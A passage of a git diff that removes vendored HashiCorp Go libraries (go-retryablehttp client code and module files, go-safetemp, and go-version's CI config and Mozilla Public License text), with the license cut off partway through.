logger() interface{} { - c.loggerInit.Do(func() { - if c.Logger == nil { - return - } - - switch c.Logger.(type) { - case Logger, LeveledLogger: - // ok - default: - // This should happen in dev when they are setting Logger and work on code, not in prod. - panic(fmt.Sprintf("invalid logger type passed, must be Logger or LeveledLogger, was %T", c.Logger)) - } - }) - - return c.Logger -} - -// DefaultRetryPolicy provides a default callback for Client.CheckRetry, which -// will retry on connection errors and server errors. -func DefaultRetryPolicy(ctx context.Context, resp *http.Response, err error) (bool, error) { - // do not retry on context.Canceled or context.DeadlineExceeded - if ctx.Err() != nil { - return false, ctx.Err() - } - - if err != nil { - if v, ok := err.(*url.Error); ok { - // Don't retry if the error was due to too many redirects. - if redirectsErrorRe.MatchString(v.Error()) { - return false, nil - } - - // Don't retry if the error was due to an invalid protocol scheme. - if schemeErrorRe.MatchString(v.Error()) { - return false, nil - } - - // Don't retry if the error was due to TLS cert verification failure. - if _, ok := v.Err.(x509.UnknownAuthorityError); ok { - return false, nil - } - } - - // The error is likely recoverable so retry. - return true, nil - } - - // Check the response code. We retry on 500-range responses to allow - // the server time to recover, as 500's are typically not permanent - // errors and may relate to outages on the server side. This will catch - // invalid response codes as well, like 0 and 999. - if resp.StatusCode == 0 || (resp.StatusCode >= 500 && resp.StatusCode != 501) { - return true, nil - } - - return false, nil -} - -// DefaultBackoff provides a default callback for Client.Backoff which -// will perform exponential backoff based on the attempt number and limited -// by the provided minimum and maximum durations. -func DefaultBackoff(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { - mult := math.Pow(2, float64(attemptNum)) * float64(min) - sleep := time.Duration(mult) - if float64(sleep) != mult || sleep > max { - sleep = max - } - return sleep -} - -// LinearJitterBackoff provides a callback for Client.Backoff which will -// perform linear backoff based on the attempt number and with jitter to -// prevent a thundering herd. -// -// min and max here are *not* absolute values. The number to be multipled by -// the attempt number will be chosen at random from between them, thus they are -// bounding the jitter. -// -// For instance: -// * To get strictly linear backoff of one second increasing each retry, set -// both to one second (1s, 2s, 3s, 4s, ...) -// * To get a small amount of jitter centered around one second increasing each -// retry, set to around one second, such as a min of 800ms and max of 1200ms -// (892ms, 2102ms, 2945ms, 4312ms, ...) -// * To get extreme jitter, set to a very wide spread, such as a min of 100ms -// and a max of 20s (15382ms, 292ms, 51321ms, 35234ms, ...) -func LinearJitterBackoff(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { - // attemptNum always starts at zero but we want to start at 1 for multiplication - attemptNum++ - - if max <= min { - // Unclear what to do here, or they are the same, so return min * - // attemptNum - return min * time.Duration(attemptNum) - } - - // Seed rand; doing this every time is fine - rand := rand.New(rand.NewSource(int64(time.Now().Nanosecond()))) - - // Pick a random number that lies somewhere between the min and max and - // multiply by the attemptNum. attemptNum starts at zero so we always - // increment here. We first get a random percentage, then apply that to the - // difference between min and max, and add to min. - jitter := rand.Float64() * float64(max-min) - jitterMin := int64(jitter) + int64(min) - return time.Duration(jitterMin * int64(attemptNum)) -} - -// PassthroughErrorHandler is an ErrorHandler that directly passes through the -// values from the net/http library for the final request. The body is not -// closed. -func PassthroughErrorHandler(resp *http.Response, err error, _ int) (*http.Response, error) { - return resp, err -} - -// Do wraps calling an HTTP method with retries. -func (c *Client) Do(req *Request) (*http.Response, error) { - if c.HTTPClient == nil { - c.HTTPClient = cleanhttp.DefaultPooledClient() - } - - logger := c.logger() - - if logger != nil { - switch v := logger.(type) { - case Logger: - v.Printf("[DEBUG] %s %s", req.Method, req.URL) - case LeveledLogger: - v.Debug("performing request", "method", req.Method, "url", req.URL) - } - } - - var resp *http.Response - var err error - - for i := 0; ; i++ { - var code int // HTTP response code - - // Always rewind the request body when non-nil. - if req.body != nil { - body, err := req.body() - if err != nil { - c.HTTPClient.CloseIdleConnections() - return resp, err - } - if c, ok := body.(io.ReadCloser); ok { - req.Body = c - } else { - req.Body = ioutil.NopCloser(body) - } - } - - if c.RequestLogHook != nil { - switch v := logger.(type) { - case Logger: - c.RequestLogHook(v, req.Request, i) - case LeveledLogger: - c.RequestLogHook(hookLogger{v}, req.Request, i) - default: - c.RequestLogHook(nil, req.Request, i) - } - } - - // Attempt the request - resp, err = c.HTTPClient.Do(req.Request) - if resp != nil { - code = resp.StatusCode - } - - // Check if we should continue with retries. - checkOK, checkErr := c.CheckRetry(req.Context(), resp, err) - - if err != nil { - switch v := logger.(type) { - case Logger: - v.Printf("[ERR] %s %s request failed: %v", req.Method, req.URL, err) - case LeveledLogger: - v.Error("request failed", "error", err, "method", req.Method, "url", req.URL) - } - } else { - // Call this here to maintain the behavior of logging all requests, - // even if CheckRetry signals to stop. - if c.ResponseLogHook != nil { - // Call the response logger function if provided. - switch v := logger.(type) { - case Logger: - c.ResponseLogHook(v, resp) - case LeveledLogger: - c.ResponseLogHook(hookLogger{v}, resp) - default: - c.ResponseLogHook(nil, resp) - } - } - } - - // Now decide if we should continue. - if !checkOK { - if checkErr != nil { - err = checkErr - } - c.HTTPClient.CloseIdleConnections() - return resp, err - } - - // We do this before drainBody beause there's no need for the I/O if - // we're breaking out - remain := c.RetryMax - i - if remain <= 0 { - break - } - - // We're going to retry, consume any response to reuse the connection. - if err == nil && resp != nil { - c.drainBody(resp.Body) - } - - wait := c.Backoff(c.RetryWaitMin, c.RetryWaitMax, i, resp) - desc := fmt.Sprintf("%s %s", req.Method, req.URL) - if code > 0 { - desc = fmt.Sprintf("%s (status: %d)", desc, code) - } - if logger != nil { - switch v := logger.(type) { - case Logger: - v.Printf("[DEBUG] %s: retrying in %s (%d left)", desc, wait, remain) - case LeveledLogger: - v.Debug("retrying request", "request", desc, "timeout", wait, "remaining", remain) - } - } - select { - case <-req.Context().Done(): - c.HTTPClient.CloseIdleConnections() - return nil, req.Context().Err() - case <-time.After(wait): - } - } - - if c.ErrorHandler != nil { - c.HTTPClient.CloseIdleConnections() - return c.ErrorHandler(resp, err, c.RetryMax+1) - } - - // By default, we close the response body and return an error without - // returning the response - if resp != nil { - resp.Body.Close() - } - c.HTTPClient.CloseIdleConnections() - return nil, fmt.Errorf("%s %s giving up after %d attempts", - req.Method, req.URL, c.RetryMax+1) -} - -// Try to read the response body so we can reuse this connection. -func (c *Client) drainBody(body io.ReadCloser) { - defer body.Close() - _, err := io.Copy(ioutil.Discard, io.LimitReader(body, respReadLimit)) - if err != nil { - if c.logger() != nil { - switch v := c.logger().(type) { - case Logger: - v.Printf("[ERR] error reading response body: %v", err) - case LeveledLogger: - v.Error("error reading response body", "error", err) - } - } - } -} - -// Get is a shortcut for doing a GET request without making a new client. -func Get(url string) (*http.Response, error) { - return defaultClient.Get(url) -} - -// Get is a convenience helper for doing simple GET requests. -func (c *Client) Get(url string) (*http.Response, error) { - req, err := NewRequest("GET", url, nil) - if err != nil { - return nil, err - } - return c.Do(req) -} - -// Head is a shortcut for doing a HEAD request without making a new client. -func Head(url string) (*http.Response, error) { - return defaultClient.Head(url) -} - -// Head is a convenience method for doing simple HEAD requests. -func (c *Client) Head(url string) (*http.Response, error) { - req, err := NewRequest("HEAD", url, nil) - if err != nil { - return nil, err - } - return c.Do(req) -} - -// Post is a shortcut for doing a POST request without making a new client. -func Post(url, bodyType string, body interface{}) (*http.Response, error) { - return defaultClient.Post(url, bodyType, body) -} - -// Post is a convenience method for doing simple POST requests. -func (c *Client) Post(url, bodyType string, body interface{}) (*http.Response, error) { - req, err := NewRequest("POST", url, body) - if err != nil { - return nil, err - } - req.Header.Set("Content-Type", bodyType) - return c.Do(req) -} - -// PostForm is a shortcut to perform a POST with form data without creating -// a new client. -func PostForm(url string, data url.Values) (*http.Response, error) { - return defaultClient.PostForm(url, data) -} - -// PostForm is a convenience method for doing simple POST operations using -// pre-filled url.Values form data. -func (c *Client) PostForm(url string, data url.Values) (*http.Response, error) { - return c.Post(url, "application/x-www-form-urlencoded", strings.NewReader(data.Encode())) -} diff --git a/vendor/github.com/hashicorp/go-retryablehttp/go.mod b/vendor/github.com/hashicorp/go-retryablehttp/go.mod deleted file mode 100644 index 7cc02b76fa..0000000000 --- a/vendor/github.com/hashicorp/go-retryablehttp/go.mod +++ /dev/null @@ -1,8 +0,0 @@ -module github.com/hashicorp/go-retryablehttp - -require ( - github.com/hashicorp/go-cleanhttp v0.5.1 - github.com/hashicorp/go-hclog v0.9.2 -) - -go 1.13 diff --git a/vendor/github.com/hashicorp/go-retryablehttp/go.sum b/vendor/github.com/hashicorp/go-retryablehttp/go.sum deleted file mode 100644 index 71afe56822..0000000000 --- a/vendor/github.com/hashicorp/go-retryablehttp/go.sum +++ /dev/null @@ -1,10 +0,0 @@ -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/hashicorp/go-cleanhttp v0.5.1 h1:dH3aiDG9Jvb5r5+bYHsikaOUIpcM0xvgMXVoDkXMzJM= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-hclog v0.9.2 h1:CG6TE5H9/JXsFWJCfoIVpKFIkFe6ysEuHirp4DxCsHI= -github.com/hashicorp/go-hclog v0.9.2/go.mod h1:5CU+agLiy3J7N7QjHK5d05KxGsuXiQLrjA0H7acj2lQ= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w= -github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= diff --git a/vendor/github.com/hashicorp/go-safetemp/LICENSE b/vendor/github.com/hashicorp/go-safetemp/LICENSE deleted file mode 100644 index be2cc4dfb6..0000000000 --- a/vendor/github.com/hashicorp/go-safetemp/LICENSE +++ /dev/null @@ -1,362 +0,0 @@ -Mozilla Public License, version 2.0 - -1. Definitions - -1.1. "Contributor" - - means each individual or legal entity that creates, contributes to the - creation of, or owns Covered Software. - -1.2. "Contributor Version" - - means the combination of the Contributions of others (if any) used by a - Contributor and that particular Contributor's Contribution. - -1.3. "Contribution" - - means Covered Software of a particular Contributor. - -1.4. "Covered Software" - - means Source Code Form to which the initial Contributor has attached the - notice in Exhibit A, the Executable Form of such Source Code Form, and - Modifications of such Source Code Form, in each case including portions - thereof. - -1.5. "Incompatible With Secondary Licenses" - means - - a. that the initial Contributor has attached the notice described in - Exhibit B to the Covered Software; or - - b. that the Covered Software was made available under the terms of - version 1.1 or earlier of the License, but not also under the terms of - a Secondary License. - -1.6. "Executable Form" - - means any form of the work other than Source Code Form. - -1.7. "Larger Work" - - means a work that combines Covered Software with other material, in a - separate file or files, that is not Covered Software. - -1.8. "License" - - means this document. - -1.9. "Licensable" - - means having the right to grant, to the maximum extent possible, whether - at the time of the initial grant or subsequently, any and all of the - rights conveyed by this License. - -1.10. "Modifications" - - means any of the following: - - a. any file in Source Code Form that results from an addition to, - deletion from, or modification of the contents of Covered Software; or - - b. any new file in Source Code Form that contains any Covered Software. - -1.11. "Patent Claims" of a Contributor - - means any patent claim(s), including without limitation, method, - process, and apparatus claims, in any patent Licensable by such - Contributor that would be infringed, but for the grant of the License, - by the making, using, selling, offering for sale, having made, import, - or transfer of either its Contributions or its Contributor Version. - -1.12. "Secondary License" - - means either the GNU General Public License, Version 2.0, the GNU Lesser - General Public License, Version 2.1, the GNU Affero General Public - License, Version 3.0, or any later versions of those licenses. - -1.13. "Source Code Form" - - means the form of the work preferred for making modifications. - -1.14. "You" (or "Your") - - means an individual or a legal entity exercising rights under this - License. For legal entities, "You" includes any entity that controls, is - controlled by, or is under common control with You. For purposes of this - definition, "control" means (a) the power, direct or indirect, to cause - the direction or management of such entity, whether by contract or - otherwise, or (b) ownership of more than fifty percent (50%) of the - outstanding shares or beneficial ownership of such entity. - - -2. License Grants and Conditions - -2.1. Grants - - Each Contributor hereby grants You a world-wide, royalty-free, - non-exclusive license: - - a. under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or - as part of a Larger Work; and - - b. under Patent Claims of such Contributor to make, use, sell, offer for - sale, have made, import, and otherwise transfer either its - Contributions or its Contributor Version. - -2.2. Effective Date - - The licenses granted in Section 2.1 with respect to any Contribution - become effective for each Contribution on the date the Contributor first - distributes such Contribution. - -2.3. Limitations on Grant Scope - - The licenses granted in this Section 2 are the only rights granted under - this License. No additional rights or licenses will be implied from the - distribution or licensing of Covered Software under this License. - Notwithstanding Section 2.1(b) above, no patent license is granted by a - Contributor: - - a. for any code that a Contributor has removed from Covered Software; or - - b. for infringements caused by: (i) Your and any other third party's - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - - c. under Patent Claims infringed by Covered Software in the absence of - its Contributions. - - This License does not grant any rights in the trademarks, service marks, - or logos of any Contributor (except as may be necessary to comply with - the notice requirements in Section 3.4). - -2.4. Subsequent Licenses - - No Contributor makes additional grants as a result of Your choice to - distribute the Covered Software under a subsequent version of this - License (see Section 10.2) or under the terms of a Secondary License (if - permitted under the terms of Section 3.3). - -2.5. Representation - - Each Contributor represents that the Contributor believes its - Contributions are its original creation(s) or it has sufficient rights to - grant the rights to its Contributions conveyed by this License. - -2.6. Fair Use - - This License is not intended to limit any rights You have under - applicable copyright doctrines of fair use, fair dealing, or other - equivalents. - -2.7. Conditions - - Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in - Section 2.1. - - -3. Responsibilities - -3.1. Distribution of Source Form - - All distribution of Covered Software in Source Code Form, including any - Modifications that You create or to which You contribute, must be under - the terms of this License. You must inform recipients that the Source - Code Form of the Covered Software is governed by the terms of this - License, and how they can obtain a copy of this License. You may not - attempt to alter or restrict the recipients' rights in the Source Code - Form. - -3.2. Distribution of Executable Form - - If You distribute Covered Software in Executable Form then: - - a. such Covered Software must also be made available in Source Code Form, - as described in Section 3.1, and You must inform recipients of the - Executable Form how they can obtain a copy of such Source Code Form by - reasonable means in a timely manner, at a charge no more than the cost - of distribution to the recipient; and - - b. You may distribute such Executable Form under the terms of this - License, or sublicense it under different terms, provided that the - license for the Executable Form does not attempt to limit or alter the - recipients' rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - - You may create and distribute a Larger Work under terms of Your choice, - provided that You also comply with the requirements of this License for - the Covered Software. If the Larger Work is a combination of Covered - Software with a work governed by one or more Secondary Licenses, and the - Covered Software is not Incompatible With Secondary Licenses, this - License permits You to additionally distribute such Covered Software - under the terms of such Secondary License(s), so that the recipient of - the Larger Work may, at their option, further distribute the Covered - Software under the terms of either this License or such Secondary - License(s). - -3.4. Notices - - You may not remove or alter the substance of any license notices - (including copyright notices, patent notices, disclaimers of warranty, or - limitations of liability) contained within the Source Code Form of the - Covered Software, except that You may alter any license notices to the - extent required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - - You may choose to offer, and to charge a fee for, warranty, support, - indemnity or liability obligations to one or more recipients of Covered - Software. However, You may do so only on Your own behalf, and not on - behalf of any Contributor. You must make it absolutely clear that any - such warranty, support, indemnity, or liability obligation is offered by - You alone, and You hereby agree to indemnify every Contributor for any - liability incurred by such Contributor as a result of warranty, support, - indemnity or liability terms You offer. You may include additional - disclaimers of warranty and limitations of liability specific to any - jurisdiction. - -4. Inability to Comply Due to Statute or Regulation - - If it is impossible for You to comply with any of the terms of this License - with respect to some or all of the Covered Software due to statute, - judicial order, or regulation then You must: (a) comply with the terms of - this License to the maximum extent possible; and (b) describe the - limitations and the code they affect. Such description must be placed in a - text file included with all distributions of the Covered Software under - this License. Except to the extent prohibited by statute or regulation, - such description must be sufficiently detailed for a recipient of ordinary - skill to be able to understand it. - -5. Termination - -5.1. The rights granted under this License will terminate automatically if You - fail to comply with any of its terms. However, if You become compliant, - then the rights granted under this License from a particular Contributor - are reinstated (a) provisionally, unless and until such Contributor - explicitly and finally terminates Your grants, and (b) on an ongoing - basis, if such Contributor fails to notify You of the non-compliance by - some reasonable means prior to 60 days after You have come back into - compliance. Moreover, Your grants from a particular Contributor are - reinstated on an ongoing basis if such Contributor notifies You of the - non-compliance by some reasonable means, this is the first time You have - received notice of non-compliance with this License from such - Contributor, and You become compliant prior to 30 days after Your receipt - of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent - infringement claim (excluding declaratory judgment actions, - counter-claims, and cross-claims) alleging that a Contributor Version - directly or indirectly infringes any patent, then the rights granted to - You by any and all Contributors for the Covered Software under Section - 2.1 of this License shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user - license agreements (excluding distributors and resellers) which have been - validly granted by You or Your distributors under this License prior to - termination shall survive termination. - -6. Disclaimer of Warranty - - Covered Software is provided under this License on an "as is" basis, - without warranty of any kind, either expressed, implied, or statutory, - including, without limitation, warranties that the Covered Software is free - of defects, merchantable, fit for a particular purpose or non-infringing. - The entire risk as to the quality and performance of the Covered Software - is with You. Should any Covered Software prove defective in any respect, - You (not any Contributor) assume the cost of any necessary servicing, - repair, or correction. This disclaimer of warranty constitutes an essential - part of this License. No use of any Covered Software is authorized under - this License except under this disclaimer. - -7. Limitation of Liability - - Under no circumstances and under no legal theory, whether tort (including - negligence), contract, or otherwise, shall any Contributor, or anyone who - distributes Covered Software as permitted above, be liable to You for any - direct, indirect, special, incidental, or consequential damages of any - character including, without limitation, damages for lost profits, loss of - goodwill, work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses, even if such party shall have been - informed of the possibility of such damages. This limitation of liability - shall not apply to liability for death or personal injury resulting from - such party's negligence to the extent applicable law prohibits such - limitation. Some jurisdictions do not allow the exclusion or limitation of - incidental or consequential damages, so this exclusion and limitation may - not apply to You. - -8. Litigation - - Any litigation relating to this License may be brought only in the courts - of a jurisdiction where the defendant maintains its principal place of - business and such litigation shall be governed by laws of that - jurisdiction, without reference to its conflict-of-law provisions. Nothing - in this Section shall prevent a party's ability to bring cross-claims or - counter-claims. - -9. Miscellaneous - - This License represents the complete agreement concerning the subject - matter hereof. If any provision of this License is held to be - unenforceable, such provision shall be reformed only to the extent - necessary to make it enforceable. Any law or regulation which provides that - the language of a contract shall be construed against the drafter shall not - be used to construe this License against a Contributor. - - -10. Versions of the License - -10.1. New Versions - - Mozilla Foundation is the license steward. Except as provided in Section - 10.3, no one other than the license steward has the right to modify or - publish new versions of this License. Each version will be given a - distinguishing version number. - -10.2. Effect of New Versions - - You may distribute the Covered Software under the terms of the version - of the License under which You originally received the Covered Software, - or under the terms of any subsequent version published by the license - steward. - -10.3. Modified Versions - - If you create software not governed by this License, and you want to - create a new license for such software, you may create and use a - modified version of this License if you rename the license and remove - any references to the name of the license steward (except to note that - such modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary - Licenses If You choose to distribute Source Code Form that is - Incompatible With Secondary Licenses under the terms of this version of - the License, the notice described in Exhibit B of this License must be - attached. - -Exhibit A - Source Code Form License Notice - - This Source Code Form is subject to the - terms of the Mozilla Public License, v. - 2.0. If a copy of the MPL was not - distributed with this file, You can - obtain one at - http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular file, -then You may include the notice in a location (such as a LICENSE file in a -relevant directory) where a recipient would be likely to look for such a -notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - "Incompatible With Secondary Licenses" Notice - - This Source Code Form is "Incompatible - With Secondary Licenses", as defined by - the Mozilla Public License, v. 2.0. diff --git a/vendor/github.com/hashicorp/go-safetemp/README.md b/vendor/github.com/hashicorp/go-safetemp/README.md deleted file mode 100644 index 02ece33171..0000000000 --- a/vendor/github.com/hashicorp/go-safetemp/README.md +++ /dev/null @@ -1,10 +0,0 @@ -# go-safetemp -[![Godoc](https://godoc.org/github.com/hashcorp/go-safetemp?status.svg)](https://godoc.org/github.com/hashicorp/go-safetemp) - -Functions for safely working with temporary directories and files. - -## Why? - -The Go standard library provides the excellent `ioutil` package for -working with temporary directories and files. This library builds on top -of that to provide safe abstractions above that. diff --git a/vendor/github.com/hashicorp/go-safetemp/go.mod b/vendor/github.com/hashicorp/go-safetemp/go.mod deleted file mode 100644 index 02bc5f5bb5..0000000000 --- a/vendor/github.com/hashicorp/go-safetemp/go.mod +++ /dev/null @@ -1 +0,0 @@ -module github.com/hashicorp/go-safetemp diff --git a/vendor/github.com/hashicorp/go-safetemp/safetemp.go b/vendor/github.com/hashicorp/go-safetemp/safetemp.go deleted file mode 100644 index c4ae72b789..0000000000 --- a/vendor/github.com/hashicorp/go-safetemp/safetemp.go +++ /dev/null @@ -1,40 +0,0 @@ -package safetemp - -import ( - "io" - "io/ioutil" - "os" - "path/filepath" -) - -// Dir creates a new temporary directory that isn't yet created. This -// can be used with calls that expect a non-existent directory. -// -// The directory is created as a child of a temporary directory created -// within the directory dir starting with prefix. The temporary directory -// returned is always named "temp". The parent directory has the specified -// prefix. -// -// The returned io.Closer should be used to clean up the returned directory. -// This will properly remove the returned directory and any other temporary -// files created. -// -// If an error is returned, the Closer does not need to be called (and will -// be nil). -func Dir(dir, prefix string) (string, io.Closer, error) { - // Create the temporary directory - td, err := ioutil.TempDir(dir, prefix) - if err != nil { - return "", nil, err - } - - return filepath.Join(td, "temp"), pathCloser(td), nil -} - -// pathCloser implements io.Closer to remove the given path on Close. -type pathCloser string - -// Close deletes this path. -func (p pathCloser) Close() error { - return os.RemoveAll(string(p)) -} diff --git a/vendor/github.com/hashicorp/go-version/.travis.yml b/vendor/github.com/hashicorp/go-version/.travis.yml deleted file mode 100644 index 01c5dc219a..0000000000 --- a/vendor/github.com/hashicorp/go-version/.travis.yml +++ /dev/null @@ -1,13 +0,0 @@ -language: go - -go: - - 1.2 - - 1.3 - - 1.4 - - 1.9 - - "1.10" - - 1.11 - - 1.12 - -script: - - go test diff --git a/vendor/github.com/hashicorp/go-version/LICENSE b/vendor/github.com/hashicorp/go-version/LICENSE deleted file mode 100644 index c33dcc7c92..0000000000 --- a/vendor/github.com/hashicorp/go-version/LICENSE +++ /dev/null @@ -1,354 +0,0 @@ -Mozilla Public License, version 2.0 - -1. Definitions - -1.1. “Contributor” - - means each individual or legal entity that creates, contributes to the - creation of, or owns Covered Software. - -1.2. “Contributor Version” - - means the combination of the Contributions of others (if any) used by a - Contributor and that particular Contributor’s Contribution. - -1.3. “Contribution” - - means Covered Software of a particular Contributor. - -1.4. “Covered Software” - - means Source Code Form to which the initial Contributor has attached the - notice in Exhibit A, the Executable Form of such Source Code Form, and - Modifications of such Source Code Form, in each case including portions - thereof. - -1.5. “Incompatible With Secondary Licenses” - means - - a. that the initial Contributor has attached the notice described in - Exhibit B to the Covered Software; or - - b. that the Covered Software was made available under the terms of version - 1.1 or earlier of the License, but not also under the terms of a - Secondary License. - -1.6. “Executable Form” - - means any form of the work other than Source Code Form. - -1.7. “Larger Work” - - means a work that combines Covered Software with other material, in a separate - file or files, that is not Covered Software. - -1.8. “License” - - means this document. - -1.9. “Licensable” - - means having the right to grant, to the maximum extent possible, whether at the - time of the initial grant or subsequently, any and all of the rights conveyed by - this License. - -1.10. “Modifications” - - means any of the following: - - a. any file in Source Code Form that results from an addition to, deletion - from, or modification of the contents of Covered Software; or - - b. any new file in Source Code Form that contains any Covered Software. - -1.11. “Patent Claims” of a Contributor - - means any patent claim(s), including without limitation, method, process, - and apparatus claims, in any patent Licensable by such Contributor that - would be infringed, but for the grant of the License, by the making, - using, selling, offering for sale, having made, import, or transfer of - either its Contributions or its Contributor Version. - -1.12. “Secondary License” - - means either the GNU General Public License, Version 2.0, the GNU Lesser - General Public License, Version 2.1, the GNU Affero General Public - License, Version 3.0, or any later versions of those licenses. - -1.13. “Source Code Form” - - means the form of the work preferred for making modifications. - -1.14. “You” (or “Your”) - - means an individual or a legal entity exercising rights under this - License. For legal entities, “You” includes any entity that controls, is - controlled by, or is under common control with You. For purposes of this - definition, “control” means (a) the power, direct or indirect, to cause - the direction or management of such entity, whether by contract or - otherwise, or (b) ownership of more than fifty percent (50%) of the - outstanding shares or beneficial ownership of such entity. - - -2. License Grants and Conditions - -2.1. Grants - - Each Contributor hereby grants You a world-wide, royalty-free, - non-exclusive license: - - a. under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or as - part of a Larger Work; and - - b. under Patent Claims of such Contributor to make, use, sell, offer for - sale, have made, import, and otherwise transfer either its Contributions - or its Contributor Version. - -2.2. Effective Date - - The licenses granted in Section 2.1 with respect to any Contribution become - effective for each Contribution on the date the Contributor first distributes - such Contribution. - -2.3. Limitations on Grant Scope - - The licenses granted in this Section 2 are the only rights granted under this - License. No additional rights or licenses will be implied from the distribution - or licensing of Covered Software under this License. Notwithstanding Section - 2.1(b) above, no patent license is granted by a Contributor: - - a. for any code that a Contributor has removed from Covered Software; or - - b. for infringements caused by: (i) Your and any other third party’s - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - - c. under Patent Claims infringed by Covered Software in the absence of its - Contributions. - - This License does not grant any rights in the trademarks, service marks, or - logos of any Contributor (except as may be necessary to comply with the - notice requirements in Section 3.4). - -2.4. Subsequent Licenses - - No Contributor makes additional grants as a result of Your choice to - distribute the Covered Software under a subsequent version of this License - (see Section 10.2) or under the terms of a Secondary License (if permitted - under the terms of Section 3.3). - -2.5. Representation - - Each Contributor represents that the Contributor believes its Contributions - are its original creation(s) or it has sufficient rights to grant the - rights to its Contributions conveyed by this License. - -2.6. Fair Use - - This License is not intended to limit any rights You have under applicable - copyright doctrines of fair use, fair dealing, or other equivalents. - -2.7. Conditions - - Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in - Section 2.1. - - -3. Responsibilities - -3.1. Distribution of Source Form - - All distribution of Covered Software in Source Code Form, including any - Modifications that You create or to which You contribute, must be under the - terms of this License. You must inform recipients that the Source Code Form - of the Covered Software is governed by the terms of this License, and how - they can obtain a copy of this License. You may not attempt to alter or - restrict the recipients’ rights in the Source Code Form. - -3.2. Distribution of Executable Form - - If You distribute Covered Software in Executable Form then: - - a. such Covered Software must also be made available in Source Code Form, - as described in Section 3.1, and You must inform recipients of the - Executable Form how they can obtain a copy of such Source Code Form by - reasonable means in a timely manner, at a charge no more than the cost - of distribution to the recipient; and - - b. You may distribute such Executable Form under the terms of this License, - or sublicense it under different terms, provided that the license for - the Executable Form does not attempt to limit or alter the recipients’ - rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - - You may create and distribute a Larger Work under terms of Your choice, - provided that You also comply with the requirements of this License for the - Covered Software. If the Larger Work is a combination of Covered Software - with a work governed by one or more Secondary Licenses, and the Covered - Software is not Incompatible With Secondary Licenses, this License permits - You to additionally distribute such Covered Software under the terms of - such Secondary License(s), so that the recipient of the Larger Work may, at - their option, further distribute the Covered Software under the terms of - either this License or such Secondary License(s). - -3.4. Notices - - You may not remove or alter the substance of any license notices (including - copyright notices, patent notices, disclaimers of warranty, or limitations - of liability) contained within the Source Code Form of the Covered - Software, except that You may alter any license notices to the extent - required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - - You may choose to offer, and to charge a fee for, warranty, support, - indemnity or liability obligations to one or more recipients of Covered - Software. However, You may do so only on Your own behalf, and not on behalf - of any Contributor. You must make it absolutely clear that any such - warranty, support, indemnity, or liability obligation is offered by You - alone, and You hereby agree to indemnify every Contributor for any - liability incurred by such Contributor as a result of warranty, support, - indemnity or liability terms You offer. You may include additional - disclaimers of warranty and limitations of liability specific to any - jurisdiction. - -4. Inability to Comply Due to Statute or Regulation - - If it is impossible for You to comply with any of the terms of this License - with respect to some or all of the Covered Software due to statute, judicial - order, or regulation then You must: (a) comply with the terms of this License - to the maximum extent possible; and (b) describe the limitations and the code - they affect. Such description must be placed in a text file included with all - distributions of the Covered Software under this License. Except to the - extent prohibited by statute or regulation, such description must be - sufficiently detailed for a recipient of ordinary skill to be able to - understand it. - -5. Termination - -5.1. The rights granted under this License will terminate automatically if You - fail to comply with any of its terms. However, if You become compliant, - then the rights granted under this License from a particular Contributor - are reinstated (a) provisionally, unless and until such Contributor - explicitly and finally terminates Your grants, and (b) on an ongoing basis, - if such Contributor fails to notify You of the non-compliance by some - reasonable means prior to 60 days after You have come back into compliance. - Moreover, Your grants from a particular Contributor are reinstated on an - ongoing basis if such Contributor notifies You of the non-compliance by - some reasonable means, this is the first time You have received notice of - non-compliance with this License from such Contributor, and You become - compliant prior to 30 days after Your receipt of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent - infringement claim (excluding declaratory judgment actions, counter-claims, - and cross-claims) alleging that a Contributor Version directly or - indirectly infringes any patent, then the rights granted to You by any and - all Contributors for the Covered Software under Section 2.1 of this License - shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user - license agreements (excluding distributors and resellers) which have been - validly granted by You or Your distributors under this License prior to - termination shall survive termination. - -6. Disclaimer of Warranty - - Covered Software is provided under this License on an “as is” basis, without - warranty of any kind, either expressed, implied, or statutory, including, - without limitation, warranties that the Covered Software is free of defects, - merchantable, fit for a particular purpose or non-infringing. The entire - risk as to the quality and performance of the Covered Software is with You. - Should any Covered Software prove defective in any respect, You (not any - Contributor) assume the cost of any necessary servicing, repair, or - correction. This disclaimer of warranty constitutes an essential part of this - License. No use of any Covered Software is authorized under this License - except 